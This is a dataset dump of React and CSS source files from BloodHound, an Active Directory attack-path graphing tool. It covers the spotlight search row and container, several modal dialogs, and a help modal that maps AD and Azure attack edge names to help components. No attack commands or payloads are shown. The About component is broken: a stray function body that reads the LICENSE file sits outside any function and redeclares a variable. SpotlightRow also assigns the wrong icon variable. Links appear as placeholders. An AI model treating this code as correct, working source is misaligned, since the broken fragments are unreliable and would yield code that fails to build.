text
stringlengths
9
39.2M
dir
stringlengths
26
295
lang
stringclasses
185 values
created_date
timestamp[us]
updated_date
timestamp[us]
repo_name
stringlengths
1
97
repo_full_name
stringlengths
7
106
star
int64
1k
183k
len_tokens
int64
1
13.8M
```jsx import React, { Component } from 'react'; import PropTypes from 'prop-types'; export default class SpotlightRow extends Component { _handleClick() { emitter.emit( 'spotlightClick', this.props.nodeId, this.props.parentNodeId ); } render() { let nodeIcon; let parentIcon = ''; switch (this.props.nodeType) { case 'Group': nodeIcon = 'fa fa-users'; break; case 'User': nodeIcon = 'fa fa-user'; break; case 'Computer': nodeIcon = 'fa fa-desktop'; break; case 'Domain': nodeIcon = 'fa fa-globe'; break; case 'OU': nodeIcon = 'fa fa-sitemap'; break; case 'Container': nodeIcon = 'fa fa-archive' break case 'GPO': nodeIcon = 'fa fa-list'; break; default: nodeIcon = ''; break; } switch (this.props.parentNodeType) { case 'Group': parentIcon = 'fa fa-users'; break; case 'User': parentIcon = 'fa fa-user'; break; case 'Computer': parentIcon = 'fa fa-desktop'; break; case 'Domain': parentIcon = 'fa fa-globe'; break; case 'OU': nodeIcon = 'fa fa-sitemap'; break; case 'Container': nodeIcon = 'fa fa-box'; break case 'GPO': nodeIcon = 'fa fa-list'; break; default: parentIcon = ''; break; } return ( <tr style={{ cursor: 'pointer' }} onClick={this._handleClick.bind(this)} data-id={this.props.nodeId} data-parent-id={this.props.parentNodeId} > <td> {this.props.nodeLabel} <i className={nodeIcon} /> </td> <td> {this.props.parentNodeLabel} <i className={parentIcon} /> </td> </tr> ); } } SpotlightRow.propTypes = { nodeId: PropTypes.number.isRequired, parentNodeId: PropTypes.number.isRequired, nodeLabel: PropTypes.string.isRequired, parentNodeLabel: PropTypes.string.isRequired, nodeType: PropTypes.string.isRequired, parentNodeType: PropTypes.string.isRequired, }; ```
/content/code_sandbox/src/components/Spotlight/SpotlightRow.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
516
```jsx import React, {useContext, useEffect, useState} from 'react'; import PoseContainer from '../PoseContainer'; import GlyphiconSpan from '../GlyphiconSpan'; import Icon from '../Icon'; import SpotlightRow from './SpotlightRow'; import {Table} from 'react-bootstrap'; import {AppContext} from '../../AppContext'; import clsx from 'clsx'; import styles from './SpotlightContainer.module.css'; const SpotlightContainer = () => { const [data, setData] = useState(appStore.spotlightData); const [searchVal, setSearchVal] = useState(''); const [regex, setRegex] = useState(new RegExp('', 'i')); const [visible, setVisible] = useState(false); const context = useContext(AppContext); const updateSpotlight = () => { setData(appStore.spotlightData); }; const closeSpotlight = () => { setVisible(false); }; const resetSpotlight = () => { setSearchVal(''); setRegex(new RegExp('', 'i')); }; const handleSearch = (event) => { setSearchVal(event.target.value); setRegex(new RegExp(event.target.value, 'i')); }; const handleSpace = (event) => { let key = event.keyCode ? event.keyCode : event.which; if (document.activeElement === document.body && key === 32) { setVisible((v) => !v); } }; useEffect(() => { emitter.on('spotlightUpdate', updateSpotlight); emitter.on('spotlightClick', closeSpotlight); emitter.on('resetSpotlight', resetSpotlight); window.addEventListener('keyup', handleSpace); return () => { emitter.removeListener('spotlightUpdate', updateSpotlight); emitter.removeListener('spotlightClick', closeSpotlight); emitter.removeListener('resetSpotlight', resetSpotlight); window.removeEventListener('keyup', handleSpace); }; }, []); return ( <PoseContainer visible={visible} className={clsx( 'spotlight', context.darkMode ? styles.dark : styles.light )} draggable={false} > <div className={'input-group input-group-unstyled no-border-radius'} > <GlyphiconSpan tooltip={false} classes='input-group-addon spanfix' > <Icon glyph='search' /> </GlyphiconSpan> <input onChange={handleSearch} value={searchVal} type='search' className='form-control searchbox' autoComplete='off' placeholder='Search for a node' datatype='search' /> <GlyphiconSpan tooltip={false} classes='input-group-addon spanfix' > <Icon glyph='times' /> </GlyphiconSpan> </div> <div className={styles.nodelist}> <Table striped> <thead> <tr> <td>Node Label</td> <td>Collapsed Into</td> </tr> </thead> <tbody className='searchable'> {Object.keys(data) .sort() .map( function (key) { let d = data[key]; let nid = parseInt(key); return regex.test(d[0]) ? ( <SpotlightRow key={key} nodeId={nid} parentNodeId={d[1]} nodeLabel={d[0]} parentNodeLabel={d[2]} nodeType={d[3]} parentNodeType={d[4]} /> ) : null; }.bind(this) )} </tbody> </Table> </div> </PoseContainer> ); }; SpotlightContainer.propTypes = {}; export default SpotlightContainer; ```
/content/code_sandbox/src/components/Spotlight/SpotlightContainer.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
791
```jsx import React, { useEffect, useState, useContext } from 'react'; const { app, shell } = require('electron').remote; import { join } from 'path'; import { promises } from 'fs'; import { Modal, Button } from 'react-bootstrap'; import styles from './About.module.css'; import { AppContext } from '../../AppContext'; import BaseModal from './BaseModal'; const About = () => { const [data, setData] = useState(''); const [version, setVersion] = useState(''); const [open, setOpen] = useState(false); const context = useContext(AppContext); const getVersion = async () => { let data = await promises.readFile( join(app.getAppPath(), 'package.json') ); let version = JSON.parse(data).version; setVersion(version); }; let data = await promises.readFile( join(app.getAppPath(), 'LICENSE.md'), 'utf-8' ); setData(data); }; const handleOpen = () => { setOpen(true); }; const handleClose = () => { setOpen(false); }; const openLink = (link) => { shell.openExternal(link); }; useEffect(() => { getVersion(); emitter.on('showAbout', handleOpen); return () => { emitter.removeListener('showAbout', handleOpen); }; }, []); return ( <BaseModal show={open} onHide={handleClose} label='AboutHeader' className={context.darkMode ? styles.dark : styles.light} > <Modal.Header closeButton className={styles.about}> <Modal.Title id='AboutHeader'>About BloodHound</Modal.Title> </Modal.Header> <Modal.Body> <h5>Version: {version}</h5> <h5> GitHub:{' '} <a href='#' onClick={() => { openLink( 'path_to_url ); }} > path_to_url </a> </h5> <h5> BloodHound Slack:{' '} <a href='#' onClick={() => { openLink('path_to_url }} > path_to_url </a> </h5> <h5> Authors:{' '} <a href='#' onClick={() => { openLink('path_to_url }} > The BloodHound Enterprise Team </a> </h5> <h5> Created by:{' '} <a href='#' onClick={() => { openLink('path_to_url }} > @_wald0 </a> ,{' '} <a href='#' onClick={() => { openLink('path_to_url }} > @CptJesus </a> ,{' '} <a href='#' onClick={() => { openLink('path_to_url }} > @harmj0y </a> </h5> <br /> <h5>LICENSE</h5> <div className={styles.scroll}>{data}</div> </Modal.Body> <Modal.Footer className={styles.footer}> <Button variant='primary' onClick={handleClose} className={styles.btndone} > Done </Button> </Modal.Footer> </BaseModal> ); }; About.propTypes = {}; export default About; ```
/content/code_sandbox/src/components/Modals/About.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
757
```jsx import React, {useEffect, useState} from 'react'; import BaseModal from './BaseModal'; import {Button, Modal} from 'react-bootstrap'; import styles from './GraphErrorModal.module.css'; const GraphErrorModal = () => { const [show, setShow] = useState(false); const [error, setError] = useState(null); const handleClose = () => { setShow(false); }; const handleError = error => { setError(error); setShow(true); }; useEffect(() => { emitter.on('showGraphError', handleError); return () => { emitter.removeListener('showGraphError', handleError); }; }, []); return ( <BaseModal className={styles.width} show={show} onHide={() => handleClose()} > <Modal.Header closeButton> <Modal.Title>Graph Error</Modal.Title> </Modal.Header> <Modal.Body> <p>An error occurred in the graph query:</p> <div className={styles.error}>{error}</div> </Modal.Body> <Modal.Footer> <Button bsStyle='primary' onClick={() => { handleClose(); }} > Close </Button> </Modal.Footer> </BaseModal> ); }; GraphErrorModal.propTypes = {}; export default GraphErrorModal; ```
/content/code_sandbox/src/components/Modals/GraphErrorModal.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
281
```css .checkbox { position: relative; font-size: 24px; margin-right: 5px; top: 5px; display: inline; } .error { color: red; } ```
/content/code_sandbox/src/components/Modals/AddNodeModal.module.css
css
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
45
```jsx import React, { useEffect, useState } from 'react'; import BaseModal from './BaseModal'; import GenericAll from './HelpTexts/GenericAll/GenericAll'; import { Button, Modal } from 'react-bootstrap'; import { encode } from 'he'; import MemberOf from './HelpTexts/MemberOf/MemberOf'; import AllExtendedRights from './HelpTexts/AllExtendedRights/AllExtendedRights'; import AdminTo from './HelpTexts/AdminTo/AdminTo'; import HasSession from './HelpTexts/HasSession/HasSession'; import AddMember from './HelpTexts/AddMember/AddMember'; import ForceChangePassword from './HelpTexts/ForceChangePassword/ForceChangePassword'; import GenericWrite from './HelpTexts/GenericWrite/GenericWrite'; import Owns from './HelpTexts/Owns/Owns'; import WriteDacl from './HelpTexts/WriteDacl/WriteDacl'; import WriteOwner from './HelpTexts/WriteOwner/WriteOwner'; import CanRDP from './HelpTexts/CanRDP/CanRDP'; import ExecuteDCOM from './HelpTexts/ExecuteDCOM/ExecuteDCOM'; import AllowedToDelegate from './HelpTexts/AllowedToDelegate/AllowedToDelegate'; import GetChanges from './HelpTexts/GetChanges/GetChanges'; import GetChangesAll from './HelpTexts/GetChangesAll/GetChangesAll'; import ReadLAPSPassword from './HelpTexts/ReadLAPSPassword/ReadLAPSPassword'; import Contains from './HelpTexts/Contains/Contains'; import GpLink from './HelpTexts/GpLink/GpLink'; import AddAllowedToAct from './HelpTexts/AddAllowedToAct/AddAllowedToAct'; import AllowedToAct from './HelpTexts/AllowedToAct/AllowedToAct'; import SQLAdmin from './HelpTexts/SQLAdmin/SQLAdmin'; import ReadGMSAPassword from './HelpTexts/ReadGMSAPassword/ReadGMSAPassword'; import HasSIDHistory from './HelpTexts/HasSIDHistory/HasSIDHistory'; import TrustedBy from './HelpTexts/TrustedBy/TrustedBy'; import CanPSRemote from './HelpTexts/CanPSRemote/CanPSRemote'; import AZAddMembers from './HelpTexts/AZAddMembers/AZAddMembers'; import AZAddSecret from './HelpTexts/AZAddSecret/AZAddSecret'; import AZAvereContributor from './HelpTexts/AZAvereContributor/AZAvereContributor'; import AZContains from './HelpTexts/AZContains/AZContains'; import AZContributor from './HelpTexts/AZContributor/AZContributor'; import AZExecuteCommand from './HelpTexts/AZExecuteCommand/AZExecuteCommand'; import AZGetCertificates from './HelpTexts/AZGetCertificates/AZGetCertificates'; import AZGetKeys from './HelpTexts/AZGetKeys/AZGetKeys'; import AZGetSecrets from './HelpTexts/AZGetSecrets/AZGetSecrets'; import AZHasRole from './HelpTexts/AZHasRole/AZHasRole'; import AZManagedIdentity from './HelpTexts/AZManagedIdentity/AZManagedIdentity'; import AZMemberOf from './HelpTexts/AZMemberOf/AZMemberOf'; import AZOwns from './HelpTexts/AZOwns/AZOwns'; import AZPrivilegedAuthAdmin from './HelpTexts/AZPrivilegedAuthAdmin/AZPrivilegedAuthAdmin'; import AZPrivilegedRoleAdmin from './HelpTexts/AZPrivilegedRoleAdmin/AZPrivilegedRoleAdmin'; import AZResetPassword from './HelpTexts/AZResetPassword/AZResetPassword'; import AZUserAccessAdministrator from './HelpTexts/AZUserAccessAdministrator/AZUserAccessAdministrator'; import AZGlobalAdmin from './HelpTexts/AZGlobalAdmin/AZGlobalAdmin'; import AZAppAdmin from './HelpTexts/AZAppAdmin/AZAppAdmin'; import AZCloudAppAdmin from './HelpTexts/AZCloudAppAdmin/AZCloudAppAdmin'; import AZRunsAs from './HelpTexts/AZRunsAs/AZRunsAs'; import AZVMAdminLogin from './HelpTexts/AZVMAdminLogin/AZVMAdminLogin'; import AZVMContributor from './HelpTexts/AZVMContributor/AZVMContributor'; import Default from './HelpTexts/Default/Default'; import WriteSPN from './HelpTexts/WriteSPN/WriteSPN'; import AddSelf from './HelpTexts/AddSelf/AddSelf'; import AddKeyCredentialLink from './HelpTexts/AddKeyCredentialLink/AddKeyCredentialLink'; import DCSync from './HelpTexts/DCSync/DCSync'; import SyncLAPSPassword from './HelpTexts/SyncLAPSPassword/SyncLAPSPassword'; import WriteAccountRestrictions from './HelpTexts/WriteAccountRestrictions/WriteAccountRestrictions'; import DumpSMSAPassword from './HelpTexts/DumpSMSAPassword/DumpSMSAPassword'; import AZMGAddMember from './HelpTexts/AZMGAddMember/AZMGAddMember'; import AZMGAddOwner from './HelpTexts/AZMGAddOwner/AZMGAddOwner'; import AZMGAddSecret from './HelpTexts/AZMGAddSecret/AZMGAddSecret'; import AZMGGrantAppRoles from './HelpTexts/AZMGGrantAppRoles/AZMGGrantAppRoles'; import AZMGGrantRole from './HelpTexts/AZMGGrantRole/AZMGGrantRole'; import AZMGAppRoleAssignment_ReadWrite_All from './HelpTexts/AZMGAppRoleAssignment_ReadWrite_All/AZMGAppRoleAssignment_ReadWrite_All'; import AZMGApplication_ReadWrite_All from './HelpTexts/AZMGApplication_ReadWrite_All/AZMGApplication_ReadWrite_All'; import AZMGDirectory_ReadWrite_All from './HelpTexts/AZMGDirectory_ReadWrite_All/AZMGDirectory_ReadWrite_All'; import AZMGGroupMember_ReadWrite_All from './HelpTexts/AZMGGroupMember_ReadWrite_All/AZMGGroupMember_ReadWrite_All'; import AZMGGroup_ReadWrite_All from './HelpTexts/AZMGGroup_ReadWrite_All/AZMGGroup_ReadWrite_All'; import AZMGRoleManagement_ReadWrite_Directory from './HelpTexts/AZMGRoleManagement_ReadWrite_Directory/AZMGRoleManagement_ReadWrite_Directory'; import AZMGServicePrincipalEndpoint_ReadWrite_All from './HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/AZMGServicePrincipalEndpoint_ReadWrite_All'; import AZWebsiteContributor from './HelpTexts/AZWebsiteContributor/AZWebsiteContributor'; import AZAutomationContributor from './HelpTexts/AZAutomationContributor/AZAutomationContributor'; import AZAddOwner from './HelpTexts/AZAddOwner/AZAddOwner'; import AZAKSContributor from './HelpTexts/AZAKSContributor/AZAKSContributor'; import AZKeyVaultKVContributor from './HelpTexts/AZKeyVaultKVContributor/AZKeyVaultKVContributor'; import AZLogicAppContributor from './HelpTexts/AZLogicAppContributor/AZLogicAppContributor'; import AZNodeResourceGroup from './HelpTexts/AZNodeResourceGroup/AZNodeResourceGroup'; const HelpModal = () => { const [sourceName, setSourceName] = useState(''); const [sourceType, setSourceType] = useState(''); const [targetName, setTargetName] = useState(''); const [targetType, setTargetType] = useState(''); const [haslaps, setHaslaps] = useState(false); const [targetId, settargetId] = useState(''); const [edge, setEdge] = useState('MemberOf'); const [open, setOpen] = useState(false); useEffect(() => { emitter.on('displayHelp', openModal); return () => { emitter.removeListener('displayHelp', openModal); }; }, []); const closeModal = () => { setOpen(false); }; const openModal = (edge, source, target) => { setSourceName(encode(source.label)); setSourceType(encode(source.type)); setTargetName(encode(target.label)); setTargetType(encode(target.type)); settargetId(encode(target.objectid)); if (!typeof target.haslaps === 'boolean') { setHaslaps(false); } else { setHaslaps(target.haslaps); } setEdge(edge.etype); setOpen(true); }; const components = { GenericAll: GenericAll, MemberOf: MemberOf, AllExtendedRights: AllExtendedRights, AdminTo: AdminTo, HasSession: HasSession, AddMember: AddMember, ForceChangePassword: ForceChangePassword, GenericWrite: GenericWrite, Owns: Owns, WriteDacl: WriteDacl, WriteOwner: WriteOwner, CanRDP: CanRDP, ExecuteDCOM: ExecuteDCOM, AllowedToDelegate: AllowedToDelegate, GetChanges: GetChanges, GetChangesAll: GetChangesAll, ReadLAPSPassword: ReadLAPSPassword, Contains: Contains, GPLink: GpLink, AddAllowedToAct: AddAllowedToAct, AllowedToAct: AllowedToAct, SQLAdmin: SQLAdmin, ReadGMSAPassword: ReadGMSAPassword, HasSIDHistory: HasSIDHistory, TrustedBy: TrustedBy, CanPSRemote: CanPSRemote, AZAddMembers: AZAddMembers, AZAddSecret: AZAddSecret, AZAvereContributor: AZAvereContributor, AZContains: AZContains, AZContributor: AZContributor, AZExecuteCommand: AZExecuteCommand, AZGetCertificates: AZGetCertificates, AZGetKeys: AZGetKeys, AZGetSecrets: AZGetSecrets, AZHasRole: AZHasRole, AZManagedIdentity: AZManagedIdentity, AZMemberOf: AZMemberOf, AZOwns: AZOwns, AZPrivilegedAuthAdmin: AZPrivilegedAuthAdmin, AZPrivilegedRoleAdmin: AZPrivilegedRoleAdmin, AZResetPassword: AZResetPassword, AZUserAccessAdministrator: AZUserAccessAdministrator, AZGlobalAdmin: AZGlobalAdmin, AZAppAdmin: AZAppAdmin, AZCloudAppAdmin: AZCloudAppAdmin, AZRunsAs: AZRunsAs, AZVMAdminLogin: AZVMAdminLogin, AZVMContributor: AZVMContributor, WriteSPN: WriteSPN, AddSelf: AddSelf, AddKeyCredentialLink: AddKeyCredentialLink, DCSync: DCSync, SyncLAPSPassword: SyncLAPSPassword, WriteAccountRestrictions: WriteAccountRestrictions, DumpSMSAPassword: DumpSMSAPassword, AZMGAddMember: AZMGAddMember, AZMGAddOwner: AZMGAddOwner, AZMGAddSecret: AZMGAddSecret, AZMGGrantAppRoles: AZMGGrantAppRoles, AZMGGrantRole: AZMGGrantRole, AZMGAppRoleAssignment_ReadWrite_All: AZMGAppRoleAssignment_ReadWrite_All, AZMGApplication_ReadWrite_All: AZMGApplication_ReadWrite_All, AZMGDirectory_ReadWrite_All: AZMGDirectory_ReadWrite_All, AZMGGroupMember_ReadWrite_All: AZMGGroupMember_ReadWrite_All, AZMGGroup_ReadWrite_All: AZMGGroup_ReadWrite_All, AZMGRoleManagement_ReadWrite_Directory: AZMGRoleManagement_ReadWrite_Directory, AZMGServicePrincipalEndpoint_ReadWrite_All: AZMGServicePrincipalEndpoint_ReadWrite_All, AZWebsiteContributor: AZWebsiteContributor, AZAddOwner: AZAddOwner, AZAKSContributor: AZAKSContributor, AZAutomationContributor: AZAutomationContributor, AZKeyVaultKVContributor: AZKeyVaultKVContributor, AZLogicAppContributor: AZLogicAppContributor, AZNodeResourceGroup: AZNodeResourceGroup, }; const Component = edge in components ? components[edge] : Default; return ( <BaseModal show={open} onHide={closeModal} label='HelpHeader' className='help-modal-width' > <Modal.Header closeButton> <Modal.Title id='HelpHeader'>Help: {edge}</Modal.Title> </Modal.Header> <Modal.Body> <Component sourceName={sourceName} sourceType={sourceType} targetName={targetName} targetType={targetType} targetId={targetId} haslaps={haslaps} /> </Modal.Body> <Modal.Footer> <Button onClick={closeModal}>Close</Button> </Modal.Footer> </BaseModal> ); }; HelpModal.propTypes = {}; export default HelpModal; ```
/content/code_sandbox/src/components/Modals/HelpModal.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
2,759
```jsx import React, { Component } from 'react'; import { clearDatabase } from 'utils'; import { Modal } from 'react-bootstrap'; import BaseModal from './BaseModal'; export default class ClearConfirmModal extends Component { constructor() { super(); this.state = { open: false, }; } componentDidMount() { emitter.on('openDBConfirm', this.openModal.bind(this)); } openModal() { this.setState({ open: true }); } closeModal() { this.setState({ open: false }); } closeModalAndClearDB() { this.setState({ open: false }); emitter.emit('clearDB'); clearDatabase(); } render() { return ( <BaseModal show={this.state.open} onHide={this.closeModal.bind(this)} label='ConfirmModalHeader' > <Modal.Header closeButton> <Modal.Title id='ConfirmModalHeader'> Clear Database </Modal.Title> </Modal.Header> <Modal.Body> <p> Are you ABSOLUTELY sure you want to clear the database? </p> </Modal.Body> <Modal.Footer> <button onClick={this.closeModal.bind(this)} type='button' className='btn btn-primary' > Cancel </button> <button onClick={this.closeModalAndClearDB.bind(this)} type='button' className='btn btn-danger' > Clear Database </button> </Modal.Footer> </BaseModal> ); } } ```
/content/code_sandbox/src/components/Modals/ClearConfirmModal.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
336
```jsx import React, {useEffect, useState} from 'react'; import {Button, Modal} from 'react-bootstrap'; import {writeFile} from 'fs'; import {remote} from 'electron'; import BaseModal from './BaseModal'; const { dialog } = remote; const ConfirmDrawModal = ({ promise }) => { const [data, setData] = useState(null); const [params, setParams] = useState(null); const [show, setShow] = useState(false); const handleClose = () => { emitter.emit('confirmGraphDraw', false); setData(null); setShow(false); }; const handleOpen = (data, params) => { setData(data); setParams(params); setShow(true); }; const handleConfirm = () => { emitter.emit('confirmGraphDraw', true, data, params); setData(null); setShow(false); }; const handleSave = () => { let target = dialog.showSaveDialogSync({ defaultPath: 'data.json', }); if (target !== undefined) { writeFile(target, JSON.stringify(data, null, 2), (err) => { if (err) console.log(err); else console.log('Saved ' + target + ' successfully'); }); } setShow(false); setData(null); emitter.emit('confirmGraphDraw', false); }; useEffect(() => { emitter.on('showGraphConfirm', handleOpen); return () => { emitter.removeListener('showGraphConfirm', handleOpen); }; }, []); const nodeCount = data == null ? 0 : data.nodes.length; const edgeCount = data == null ? 0 : data.edges.length; return ( <BaseModal show={show} onHide={() => handleClose()}> <Modal.Header closeButton> <Modal.Title>Confirm Graph Draw</Modal.Title> </Modal.Header> <Modal.Body> <p> This graph has will likely take a long time to render. Do you want to continue, cancel, or save the data to json? <br /> <br /> Total nodes to draw: {nodeCount} <br /> Total edges to draw: {edgeCount} </p> </Modal.Body> <Modal.Footer> <Button bsStyle='danger' onClick={() => { handleClose(); }} > Cancel </Button> <Button bsStyle='primary' onClick={() => { handleSave(); }} > Save Data </Button> <Button bsStyle='success' onClick={() => { handleConfirm(); }} > Draw Graph </Button> </Modal.Footer> </BaseModal> ); }; ConfirmDrawModal.propTypes = {}; export default ConfirmDrawModal; ```
/content/code_sandbox/src/components/Modals/ConfirmDrawModal.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
596
```css .scroll { width: 100%; overflow: auto; height: 150px; white-space: pre-wrap; } .about { border-top-left-radius: 20px; border-top-right-radius: 20px; border-bottom: none; font-family: Helvetica, serif; } .btndone { border-radius: 25px; border: none; padding: 8px; font-family: Helvetica, serif; font-size: 15px; font-weight: 400; text-shadow: none; width: 150px; } .btndone :hover { color: white !important; } .footer { border-top: none; } .light { background-color: #e7e7e7; } .dark { background-color: #444b55; } .dark .btndone { background-color: #406f8e !important; border-color: #406f8e; color: white !important; } .light :global .modal-header { background-color: #e7e7e7; } ```
/content/code_sandbox/src/components/Modals/About.module.css
css
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
233
```jsx import React, { Component } from 'react'; import { Modal } from 'react-bootstrap'; import BaseModal from './BaseModal'; export default class DeleteNodeModal extends Component { constructor() { super(); this.state = { open: false, }; } componentDidMount() { emitter.on('deleteNode', this.openModal.bind(this)); } closeModal() { this.setState({ open: false }); } confirmDelete() { this.closeModal(); emitter.emit('deleteNodeConfirm', this.state.id); } openModal(id) { closeTooltip(); this.setState({ open: true, id: id }); } render() { return ( <BaseModal show={this.state.open} onHide={this.closeModal.bind(this)} label='DeleteNodeModalHeader' > <Modal.Header closeButton> <Modal.Title id='DeleteNodeModalHeader'> Delete Node </Modal.Title> </Modal.Header> <Modal.Body> <p>Are you sure you want to delete this node?</p> </Modal.Body> <Modal.Footer> <button type='button' className='btn btn-danger' onClick={this.confirmDelete.bind(this)} > Confirm </button> <button type='button' className='btn btn-primary' onClick={this.closeModal.bind(this)} > Cancel </button> </Modal.Footer> </BaseModal> ); } } ```
/content/code_sandbox/src/components/Modals/DeleteNodeModal.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
322
```jsx import React, { Component } from 'react'; import { Modal } from 'react-bootstrap'; import BaseModal from './BaseModal'; export default class DeleteEdgeModal extends Component { constructor() { super(); this.state = { open: false, }; } componentDidMount() { emitter.on('deleteEdge', this.openModal.bind(this)); } closeModal() { this.setState({ open: false }); } confirmDelete() { this.closeModal(); emitter.emit('deleteEdgeConfirm', this.state.id); } openModal(id) { closeTooltip(); this.setState({ open: true, id: id }); } render() { return ( <BaseModal show={this.state.open} onHide={this.closeModal.bind(this)} label='DeleteEdgeModalHeader' > <Modal.Header closeButton> <Modal.Title id='DeleteEdgeModalHeader'> Delete Edge </Modal.Title> </Modal.Header> <Modal.Body> <p>Are you sure you want to delete this edge?</p> </Modal.Body> <Modal.Footer> <button type='button' className='btn btn-danger' onClick={this.confirmDelete.bind(this)} > Confirm </button> <button type='button' className='btn btn-primary' onClick={this.closeModal.bind(this)} > Cancel </button> </Modal.Footer> </BaseModal> ); } } ```
/content/code_sandbox/src/components/Modals/DeleteEdgeModal.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
322
```jsx import React, { Component } from 'react'; import { Modal } from 'react-bootstrap'; import BaseModal from './BaseModal'; export default class ClearWarnModal extends Component { constructor() { super(); this.state = { open: false, }; } componentDidMount() { emitter.on('openDBWarnModal', this.openModal.bind(this)); } closeModal() { this.setState({ open: false }); } openModal() { this.setState({ open: true }); } closeAndOpenStep() { this.setState({ open: false }); emitter.emit('openDBConfirm'); } render() { return ( <BaseModal show={this.state.open} onHide={this.closeModal.bind(this)} label='WarnModalHeader' > <Modal.Header closeButton> <Modal.Title id='WarnModalHeader'> Clear Database </Modal.Title> </Modal.Header> <Modal.Body> <p> Are you sure you want to clear the database? This is irreversible and may take some time! </p> </Modal.Body> <Modal.Footer> <button onClick={this.closeAndOpenStep.bind(this)} type='button' className='btn btn-danger' > Clear Database </button> <button onClick={this.closeModal.bind(this)} type='button' className='btn btn-primary' > Cancel </button> </Modal.Footer> </BaseModal> ); } } ```
/content/code_sandbox/src/components/Modals/ClearWarnModal.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
331
```jsx import React, { Component } from 'react'; import { Modal } from 'react-bootstrap'; import BaseModal from './BaseModal'; export default class CancelUploadModal extends Component { constructor(props) { super(props); this.state = { open: false, }; } componentDidMount() { emitter.on('showCancelUpload', this.openModal.bind(this)); } closeModal() { this.setState({ open: false }); } closeAndCancel() { this.setState({ open: false }); emitter.emit('cancelUpload'); } openModal() { this.setState({ open: true }); } render() { return ( <BaseModal show={this.state.open} onHide={this.closeModal.bind(this)} label='CanceulUploadHeader' > <Modal.Header closeButton> <Modal.Title id='CancelUploadHeader'> Cancel Upload </Modal.Title> </Modal.Header> <Modal.Body> <p>Are you sure you want to cancel the upload?</p> </Modal.Body> <Modal.Footer> <button type='button' className='btn btn-danger' onClick={this.closeAndCancel.bind(this)} > Stop Upload </button> <button type='button' className='btn btn-primary' onClick={this.closeModal.bind(this)} > Cancel </button> </Modal.Footer> </BaseModal> ); } } ```
/content/code_sandbox/src/components/Modals/CancelUploadModal.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
317
```jsx import React, { Component } from 'react'; import { Modal } from 'react-bootstrap'; import { withAlert } from 'react-alert'; import BaseModal from './BaseModal'; class WarmupModal extends Component { constructor(props) { super(props); this.state = { open: false, }; } componentDidMount() { emitter.on('openWarmupModal', this.openModal.bind(this)); } closeModal() { this.setState({ open: false }); } closeAndWarmup() { this.setState({ open: false }); let session = driver.session(); session .run( 'MATCH (n) OPTIONAL MATCH (n)-[r]->() RETURN count(n.name) + count(r.isacl)' ) .then(() => { session.close(); this.props.alert.success('Database Warmup Complete!'); }); } openModal() { this.setState({ open: true }); } render() { return ( <BaseModal show={this.state.open} onHide={this.closeModal.bind(this)} label='WarmupModalHeader' > <Modal.Header closeButton> <Modal.Title id='WarmupModalHeader'> Warm Up Database </Modal.Title> </Modal.Header> <Modal.Body> <p> Warming up the database will speed up queries at the cost of putting the entire database into memory. This will likely take some time. Do you want to continue? </p> </Modal.Body> <Modal.Footer> <button type='button' className='btn' onClick={this.closeAndWarmup.bind(this)} > Do it! </button> <button type='button' className='btn' onClick={this.closeModal.bind(this)} > Cancel </button> </Modal.Footer> </BaseModal> ); } } export default withAlert()(WarmupModal); ```
/content/code_sandbox/src/components/Modals/WarmupModal.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
422
```jsx import React, { Component } from 'react'; import { clearSessions } from 'utils'; import { Modal } from 'react-bootstrap'; import BaseModal from './BaseModal'; export default class SessionClearModal extends Component { constructor(props) { super(props); this.state = { open: false, }; } componentDidMount() { emitter.on('openSessionClearModal', this.openModal.bind(this)); } closeModal() { this.setState({ open: false }); } openModal() { this.setState({ open: true }); } closeAndClear() { this.setState({ open: false }); clearSessions(); } render() { return ( <BaseModal show={this.state.open} onHide={this.closeModal.bind(this)} label='SessionModalHeader' > <Modal.Header closeButton> <Modal.Title id='SessionModalHeader'> Clear Sessions </Modal.Title> </Modal.Header> <Modal.Body> <p>Are you sure you want to clear sessions?</p> </Modal.Body> <Modal.Footer> <button onClick={this.closeAndClear.bind(this)} type='button' className='btn btn-danger' > Clear Sessions </button> <button onClick={this.closeModal.bind(this)} type='button' className='btn btn-primary' > Cancel </button> </Modal.Footer> </BaseModal> ); } } ```
/content/code_sandbox/src/components/Modals/SessionClearModal.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
321
```css .error { white-space: pre; font-family: 'Roboto Mono', monospace; padding-left: 5px; } .width :global .modal-dialog { width: 75%; } ```
/content/code_sandbox/src/components/Modals/GraphErrorModal.module.css
css
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
43
